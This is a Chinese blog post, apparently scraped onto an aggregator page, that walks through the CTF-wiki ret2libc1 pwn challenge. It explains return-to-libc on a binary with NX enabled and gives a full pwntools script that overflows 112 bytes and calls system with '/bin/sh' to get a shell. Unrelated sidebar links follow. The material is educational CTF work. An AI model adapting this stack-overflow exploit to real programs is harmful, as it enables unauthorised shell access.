当前位置:网站首页>跟着CTF-wiki学pwn——ret2libc1
跟着CTF-wiki学pwn——ret2libc1
2022-07-05 23:35:00 【大瑞大】
ret2libc
原理
执行libc中的/bin/sh
步骤
首先,检查程序的安全保护
开启NX:no executable
(不可执行内存数据页)
(不能利用ret2text与ret2shellcode)
其次,查看有无/bin/sh
查看有无system (segment是plt,不是extern)
/bin/sh,是一个字符串,需要知道地址。
system, 是一个可调用函数,需要知道地址。
用 system 调用 /bin/sh即可
所以编写payload,寻址方式可以查看之前的博客,同为112。
#!/usr/bin/env python
from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()
调用libc函数的格式:
system_plt + 4个字节(32位地址) + /bin/sh字符串
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
边栏推荐
- Spire. PDF for NET 8.7.2
- [EF core] mapping relationship between EF core and C data type
- Attacking technology Er - Automation
- 2022.6.20-6.26 AI industry weekly (issue 103): new little life
- [original] what is the core of programmer team management?
- C # input how many cards are there in each of the four colors.
- 妙才周刊 - 8
- Golang code checking tool
- 【LeetCode】5. Valid Palindrome·有效回文
- Laser slam learning record
猜你喜欢
STM32__ 06 - single channel ADC
GFS分布式文件系统
98. 验证二叉搜索树 ●●
Zero rhino technology joined hands with the intelligence Club: the "causal faction" forum was successfully held, and the "causal revolution" brought the next generation of trusted AI
Rasa 3. X learning series -rasa 3.2.1 new release
多普勒效应(多普勒频移)
Xinyuan & Lichuang EDA training camp - brushless motor drive
Live tiktok shop 2022 latest gameplay card slot overseas live e-commerce new traffic
零犀科技携手集智俱乐部:“因果派”论坛成功举办,“因果革命”带来下一代可信AI
21.PWM应用编程
随机推荐
4 points tell you the advantages of the combination of real-time chat and chat robots
Spécifications techniques et lignes directrices pour la sélection des tubes TVS et ESD - Recommandation de jialichuang
C # input how many cards are there in each of the four colors.
Difference between out of band and in band
【SQL】各主流数据库sql拓展语言(T-SQL 、 PL/SQL、PL/PGSQL)
VS2010 writes DLL and unit test of dynamic link library, and transfers the correctness of DLL test
TVS管 与 稳压二极管参数对比
GFS Distributed File System
Hcip course notes-16 VLAN, three-tier architecture, MPLS virtual private line configuration
Breadth first search open turntable lock
Spire.PDF for NET 8.7.2
Scala concurrent programming (II) akka
MySQL (1) -- related concepts, SQL classification, and simple operations
Initialize your vector & initializer with a list_ List introduction
妙才周刊 - 8
PADS ROUTER 使用技巧小记
asp. Net pop-up layer instance
20. Migrate freetype font library
How to get all the values stored in localstorage
Technical specifications and model selection guidelines for TVs tubes and ESD tubes - recommended by jialichuang